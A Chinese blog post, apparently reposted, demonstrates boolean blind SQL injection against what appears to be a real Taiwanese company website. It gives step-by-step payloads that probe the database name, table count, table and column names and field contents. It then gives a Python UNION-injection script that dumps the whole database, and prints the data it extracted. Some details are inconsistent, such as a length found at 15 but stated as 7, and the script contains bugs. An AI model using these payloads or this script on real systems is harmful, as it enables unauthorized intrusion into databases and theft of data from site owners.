SQL注入-布尔盲注实例
Posted 码点小干货
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入-布尔盲注实例相关的知识,希望对你有一定的参考价值。
布尔型盲注的手工成本很大,非常花费时间,建议写脚本来运行,整个过程属于猜解,判断数据库的名称长度,然后猜解第一位字符,第二位... 表名和字段和内容也都是相同的方式进行猜解,sqlmap工具的盲注实际上也是这种原理,只不过它是一个现成的工具了
首先需要了解到数据库的几个函数
Length():统计字符串的长度
mid(database(),1,1)字符串截取,从第一个字符开始截取,截取一个
ord() 字符转化成十进制数
布尔注入是根据页面的正确和不正确状态来判断猜解是真是假
这是页面正常输出的信息
一.获取数据库字符的长度
执行先后顺序先是=然后or然后and,and前的sql是ture,那么1=2是false,
假设数据库字符长度=3那么为true,所以数据库名称长度为3,若不为3那都为false,所以整个sql的结果也为false,页面则返回错误
?id=1&item_id=1' and 1=2 or Length(database())=1
此时页面返回语法错误,可以看到这个id是一个字符型数据,结尾跟了'号,那么我们使用空格--空格来注释掉结尾的’号
?id=1&item_id=1' and 1=2 or Length(database())=1 -- test
页面输出不正常
若相等那么返回页面正常,不相等则返回页面不正常,没有信息输出
,那么依次尝试2,3,4,5,6,7,8,9,10...
在测试到15时页面输出正常,所以推测出次数据库名称长度为7
二.获取数据库名称
两种方式来判断数据库名
1.使用mid()看第一个字符是不是=某个字符,但是由于字符太多,手工就非常麻烦,但是使用脚本来判断就很快了
?id=37 and 1=2 or mid(database(),1,1)=0x276127
?id=37 and 1=2 or mid(database(),1,1)='某个字符'
2.使用ORD()转换成十进制来猜解,这种方法手工更合适
?id=1&item_id=1' and 1=2 or ORD(mid(database(),1,1))>100
这句话的意思为:数据库名的第一个字符的十进制数是不是大于100,
若不是则页面不返回信息,是那么返回信息,依次判断可以得到据库名为dbcalin
三.获取表的总数
依旧是才通过页面返回正常不正常来判断是不是真
假设表为87张,那么为查询到的表总数87张
select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
是否大于80,那么页面返回正确,
' and 1=2 or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>80 -- ss
这样子修改80的值来猜出表的总数
四.获取表名的长度
' and 1=2 or (select Length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)=17 -- ss
获取到第一张表的长度是不是等于17,依旧是这种方式来判断返回结果来确定表名字符的总数,依次从1开始测试
修改limit则控制第几张表,因为之前我们得知了表的总数所以知道limit最大为多少了
五.获取表的名字
' and 1=2 or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='w' -- ss
' and 1=2 or ORD(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))>20 -- ss
和获取库名的方式一致,修改limit猜解不同的表名
六.获表的字段总数
' and 1=2 or (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng')>6 -- ss
查询某张表的字段总数,是不是大于6,依次修改6来推测出字段的总数
七.获取第一个字段的长度
' and 1=2 or (select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1)>6 -- ss
控制limit来判断不同的字段长度,判断方法和上面的表,数据库均一致
八.获取字段的名称
依旧是两种方式来判断
' and 1=2 or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1)='w' -- ss
' and 1=2 or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='about_content_eng' limit 0,1),1,1))=100 -- ss
九.获取内容的长度
当前已知:
Database: dbcalin
Table: products_image_eng
products_image_eng 字段为:id
' and 1=2 or (select Length(id) from products_image_eng limit 0,1)<3 -- ss
id内容长度是否小于3,返回正常页面,=1正常页面则判断出长度为1
十.获取字段内容
' and 1=2 or mid((select id from products_image_eng limit 0,1),1,1)=1 -- ss
products_image_eng表的第一条记录的id字段的第一个字符是不是1,是等于1返回正常页面,依次来推测
' and 1=2 or ORD(mid((select image from products_image_eng limit 1,1),2,1))=50 -- ss
products_image_eng表的第二条记录的id字段的第二个字符的十进制数是不是50,2字符的十进制数为50,所以返回正常,当为51时错误页面无返回信息页面
依次来拆解出所有的数据表和字段和内容,这个工作还是得写脚本来跑吧,这个工作量手工实在是太大了,
还是使用union联合查询的方式数据来得比较快,于是写了个python脚本对这个库运行了然后出来很多表相关的信息
#coding:utf-8
from lxml import etree
import requests,sys
def talbes(db_name):
i = 0
print('-' * 10 + ' 正在获取%s数据库中的表... '%db_name + '-' * 10)
while 1:
url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,TABLE_NAME,6,7 from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1 -- ss"""%(db_name,i)
rsp = requests.get(url).content
xml = etree.html(rsp)
tables = str(xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0])
tables = tables.strip(' ').strip(' ').strip()
i += 1
if len(tables) == 0:
break
else:
print('数据库:%s 第%d张表:%s' % (db_name, i, tables))
tables_list.append((db_name,tables))
print('-' * 10 + ' 获取完成!!! %s数据库总共%d张表!!! '%(db_name,len(tables_list)) + '-' * 10 + ' ')
return tables_list
def columns(db_tb_name):
i = 0
print('-' * 10 + ' 正在获取%s数据库中%s表的所有字段... '%(db_tb_name[0],db_tb_name[1]) + '-' * 10)
while 1:
url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,column_name,6,7 from information_schema.COLUMNs where TABLE_SCHEMA='%s' and table_name='%s' limit %d,1-- ss""" %(db_tb_name[0],db_tb_name[1],i)
rsp = requests.get(url).content
xml = etree.HTML(rsp)
column = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
i += 1
column = column.strip(' ').strip(' ').strip()
if len(column) == 0:
break
else:
print('数据库:%s 表:%s 第%d个字段:%s' % (db_tb_name[0], db_tb_name[1],i,column))
colums_list.append((db_tb_name[0],db_tb_name[1],column))
print('-' * 10 + ' 获取完成!!! %s数据库总共%s表总共%d个字段!!! '%(db_tb_name[0], db_tb_name[1],i-1) + '-' * 10 + ' ')
return colums_list
def value(db_tb_cl_name):
i = 0
#获取多少行
url1 = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,count(*),6,7 from %s.%s LIMIT %d,1 -- ss""" % (db_tb_cl_name[0], db_tb_cl_name[1], i)
rsp1 = requests.get(url1).content
xml1 = etree.HTML(rsp1)
values1 = xml1.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
values1 = int(values1.strip(' ').strip(' ').strip())
for i in range(values1):
url = """http://www.****.com.tw/ab.php?id=1&item_id=33' and 1=2 union select 1,2,3,4,%s,6,7 from %s.%s LIMIT %d,1 -- ss""" %(db_tb_cl_name[2],db_tb_cl_name[0],db_tb_cl_name[1],i)
rsp = requests.get(url).content
xml = etree.HTML(rsp)
values = xml.xpath('//*[@id="h6"]/div[2]/div[3]/text()')[0]
values = values.strip(' ').strip(' ').strip()
i =+ 1
if len(values) == 0:
break
else:
print('%s表 %s字段的值:%s'%(db_tb_cl_name[1],db_tb_cl_name[2],str(values).encode('utf-8')))
if __name__ == '__main__':
tables_list = []
colums_list = []
tables_list = talbes('db****')
for table in tables_list:
columns(table)
for column in colums_list:
value(column)
大概这样子
---------- 正在获取dbcalin数据库中的表... ----------
数据库:dbcalin 第1张表:about_content_eng
数据库:dbcalin 第2张表:about_content_jp
数据库:dbcalin 第3张表:about_content_tw
数据库:dbcalin 第4张表:about_us_eng
数据库:dbcalin 第5张表:about_us_jp
数据库:dbcalin 第6张表:about_us_tw
数据库:dbcalin 第7张表:categories_eng
数据库:dbcalin 第8张表:categories_jp
数据库:dbcalin 第9张表:categories_tw
数据库:dbcalin 第10张表:company_explain_eng
数据库:dbcalin 第11张表:company_explain_jp
数据库:dbcalin 第12张表:company_explain_tw
数据库:dbcalin 第13张表:company_info_eng
数据库:dbcalin 第14张表:company_info_jp
数据库:dbcalin 第15张表:company_info_tw
数据库:dbcalin 第16张表:contact_us_eng
数据库:dbcalin 第17张表:contact_us_items_eng
数据库:dbcalin 第18张表:contact_us_items_jp
数据库:dbcalin 第19张表:contact_us_items_tw
数据库:dbcalin 第20张表:contact_us_jp
数据库:dbcalin 第21张表:contact_us_tw
数据库:dbcalin 第22张表:country_actuarial_eng
数据库:dbcalin 第23张表:country_actuarial_jp
---------- 获取完成!!! dbcalin数据库总共87张表!!! ----------
---------- 正在获取dbcalin数据库中system_info_tw表的所有字段... ----------
数据库:dbcalin 表:system_info_tw 第1个字段:varName
数据库:dbcalin 表:system_info_tw 第2个字段:value
---------- 获取完成!!! dbcalin数据库 system_info_tw表总共2个字段!!! ----------
about_content_eng表 id字段的值:b'1'
about_content_eng表 id字段的值:b'2'
about_content_eng表 id字段的值:b'3'
about_content_eng表 id字段的值:b'4'
about_content_eng表 id字段的值:b'5'
about_content_eng表 id字段的值:b'6'
about_content_eng表 id字段的值:b'7'
about_content_eng表 id字段的值:b'8'
about_content_eng表 id字段的值:b'9'
about_content_eng表 item_id字段的值:b'1'
about_content_eng表 item_id字段的值:b'2'
about_content_eng表 item_id字段的值:b'3'
about_content_eng表 item_id字段的值:b'4'
about_content_eng表 item_id字段的值:b'5'
about_content_eng表 item_id字段的值:b'6'
about_content_eng表 numbered字段的值:b'001'
about_content_eng表 numbered字段的值:b'002'
about_content_eng表 numbered字段的值:b'003'
about_content_eng表 numbered字段的值:b'004'
about_content_eng表 title字段的值:b'About Calin'
about_content_eng表 title字段的值:b'Core Value'
about_content_eng表 title字段的值:b'Basic Information'
about_content_eng表 title字段的值:b'Plants Brief'
about_content_eng表 title字段的值:b'Milestone'
about_content_eng表 title字段的值:b'Awards'
about_content_eng表 title字段的值:b'Organization'
about_content_eng表 title字段的值:b'Vision'
about_content_eng表 title字段的值:b'Quality/Hazardous Substances Free (HSF) Policy'
about_content_eng表 available字段的值:b'1'
about_content_eng表 createDate字段的值:b'2012-10-29'
about_content_eng表 createDate字段的值:b'2012-11-09'
about_content_jp表 id字段的值:b'1'
about_content_jp表 id字段的值:b'2'
about_content_jp表 id字段的值:b'3'
about_content_jp表 id字段的值:b'5'
about_content_jp表 id字段的值:b'6'
about_content_jp表 id字段的值:b'7'
about_content_jp表 id字段的值:b'8'
about_content_jp表 id字段的值:b'9'
about_content_jp表 id字段的值:b'10'
about_content_jp表 item_id字段的值:b'1'
about_content_jp表 item_id字段的值:b'2'
about_content_jp表 item_id字段的值:b'3'
about_content_jp表 item_id字段的值:b'4'
about_content_jp表 item_id字段的值:b'5'
about_content_jp表 item_id字段的值:b'6'
about_content_jp表 numbered字段的值:b'001'
about_content_jp表 numbered字段的值:b'002'
about_content_jp表 numbered字段的值:b'003'
about_content_jp表 numbered字段的值:b'004'
about_content_jp表 title字段的值:b'xe3x81x94xe6x8cxa8xe6x8bxb6'
about_content_jp表 title字段的值:b'xe7xb5x8cxe5x96xb6xe6xa0xb8xe5xbfx83'
about_content_jp表 title字段的值:b'xe4xbcx9axe7xa4xbexe6xa6x82xe6xb3x81'
about_content_jp表 title字段的值:b'xe4xbcx9axe7xa4xbexe6xb2xbfxe9x9dxa9'
about_content_jp表 title字段的值:b'xe5x8fx97xe8xb3x9e'
about_content_jp表 title字段的值:b'xe7xb5x84xe7xb9x94xe3x81xa8xe5xbdxb9xe5x89xb2'
about_content_jp表 title字段的值:b'Vision'
about_content_jp表 title字段的值:b'xe5x93x81xe8xb3xaa/xe6x9cx89xe5xaexb3xe7x89xa9xe8xb3xaaxe3x82x92xe4xbdxbfxe7x94xa8xe3x81x97xe3x81xaaxe3x81x84(HSF)xe6x94xbfxe7xadx96'
about_content_jp表 title字段的值:b'xe5xb7xa5xe5xa0xb4xe6xa6x82xe6xb3x81'
about_content_jp表 available字段的值:b'1'
about_content_jp表 createDate字段的值:b'2012-10-29'
about_content_jp表 createDate字段的值:b'2012-11-09'
about_content_jp表 createDate字段的值:b'2015-01-26'
about_content_tw表 id字段的值:b'1'
about_content_tw表 id字段的值:b'2'
about_content_tw表 id字段的值:b'3'
about_content_tw表 id字段的值:b'4'
about_content_tw表 id字段的值:b'5'
about_content_tw表 id字段的值:b'6'
about_content_tw表 id字段的值:b'8'
about_content_tw表 id字段的值:b'9'
about_content_tw表 id字段的值:b'11'
about_content_tw表 id字段的值:b'12'
about_content_tw表 id字段的值:b'14'
about_content_tw表 id字段的值:b'15'
about_content_tw表 id字段的值:b'16'
about_content_tw表 id字段的值:b'18'
about_content_tw表 id字段的值:b'22'
about_content_tw表 id字段的值:b'23'
about_content_tw表 item_id字段的值:b'1'
about_content_tw表 item_id字段的值:b'2'
about_content_tw表 item_id字段的值:b'7'
about_content_tw表 item_id字段的值:b'3'
about_content_tw表 item_id字段的值:b'5'
about_content_tw表 item_id字段的值:b'6'
about_content_tw表 item_id字段的值:b'9'
about_content_tw表 item_id字段的值:b'8'
about_content_tw表 item_id字段的值:b'4'
about_content_tw表 numbered字段的值:b'001'
about_content_tw表 numbered字段的值:b'002'
about_content_tw表 numbered字段的值:b'003'
about_content_tw表 numbered字段的值:b'004'
about_content_tw表 numbered字段的值:b'005'
about_content_tw表 title字段的值:b'xe9x97x9cxe6x96xbcxe4xbdxb3xe5x87x8c'
about_content_tw表 title字段的值:b'xe6xa0xb8xe5xbfx83xe5x83xb9xe5x80xbc'
about_content_tw表 title字段的值:b'xe5x9fxbaxe6x9cxacxe8xb3x87xe6x96x99'
about_content_tw表 title字段的值:b'xe5xbbxa0xe5x8dx80xe6xa6x82xe6xb3x81'
about_content_tw表 title字段的值:b'xe5x85xacxe5x8fxb8xe6xb2xbfxe9x9dxa9'
about_content_tw表 title字段的值:b'xe7xa4xbexe6x9cx83xe8xb2xacxe4xbbxbb'
about_content_tw表 title字段的值:b'xe6xa6xaexe8xadxbdxe7x8dx8exe7xabxa0'
about_content_tw表 title字段的值:b'xe7xb6x93xe7x87x9fxe7x90x86xe5xbfxb5'
about_content_tw表 title字段的值:b'xe5x93x81xe8xb3xaa/xe6x9cx89xe5xaexb3xe7x89xa9xe8xb3xaaxe6xb8x9bxe5x85x8d(HSF)xe6x94xbfxe7xadx96'
about_content_tw表 title字段的值:b'xe4xb8xbbxe8xa6x81xe7x94xa2xe5x93x81'
about_content_tw表 title字段的值:b'xe5x9fxbaxe6x9cxacxe8xb3x87xe6x96x99(20150728xe4xbfxaexe6x94xb9xe5x89x8dxe5x82x99xe4xbbxbd)'
about_content_tw表 title字段的值:b'xe7xa4xbexe6x9cx83xe8xb2xacxe4xbbxbb20150519'
about_content_tw表 title字段的值:b'xe5x88xa9xe5xaexb3xe9x97x9cxe4xbfx82xe4xbaxbaxe5xb0x88xe5x8dx80'
about_content_tw表 title字段的值:b'xe7xb5x84xe7xb9x94xe6x9exb6xe6xa7x8b---xe8x88x8axe8xb3x87xe6x96x99'
about_content_tw表 title字段的值:b'xe7xb5x84xe7xb9x94xe6x9exb6xe6xa7x8b'
about_content_tw表 available字段的值:b'1'
about_content_tw表 available字段的值:b'0'
about_content_tw表 createDate字段的值:b'2012-10-29'
about_content_tw表 createDate字段的值:b'2015-01-13'
about_content_tw表 createDate字段的值:b'2012-11-09'
about_content_tw表 createDate字段的值:b'2015-12-24'
about_content_tw表 createDate字段的值:b'2015-07-28'
about_content_tw表 createDate字段的值:b'2015-05-19'
about_content_tw表 createDate字段的值:b'2015-08-03'
about_content_tw表 createDate字段的值:b'2018-01-10'
about_content_tw表 createDate字段的值:b'2018-06-21'
以上是关于SQL注入-布尔盲注实例的主要内容,如果未能解决你的问题,请参考以下文章